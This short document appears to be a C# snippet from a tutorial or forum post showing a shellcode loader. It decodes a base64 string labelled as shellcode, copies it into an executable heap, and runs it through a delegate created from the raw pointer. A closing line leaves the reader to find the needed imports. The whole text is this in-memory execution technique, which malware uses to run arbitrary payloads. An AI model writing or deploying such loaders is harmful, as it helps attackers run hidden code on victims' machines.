delegate UInt32 dl(); //function pointer delegation
public void I(String s)
{
	Byte[]b = Convert.FromBase64String(s); //shellcode base64 encoded
	IntPtr h = HeapCreate(0x00040000, b.Length, b.Length);
  HeapAlloc(h, 0x00000008, b.Length);
	Marshal.Copy(b, 0, h, b.Length);
	dl f = (dl)Marshal.GetDelegateForFunctionPointer(h, typeof(dl));
	f()  //call the delegated pointer
}

Figure out what has to be imported to do this and Google how the function pointer delegation works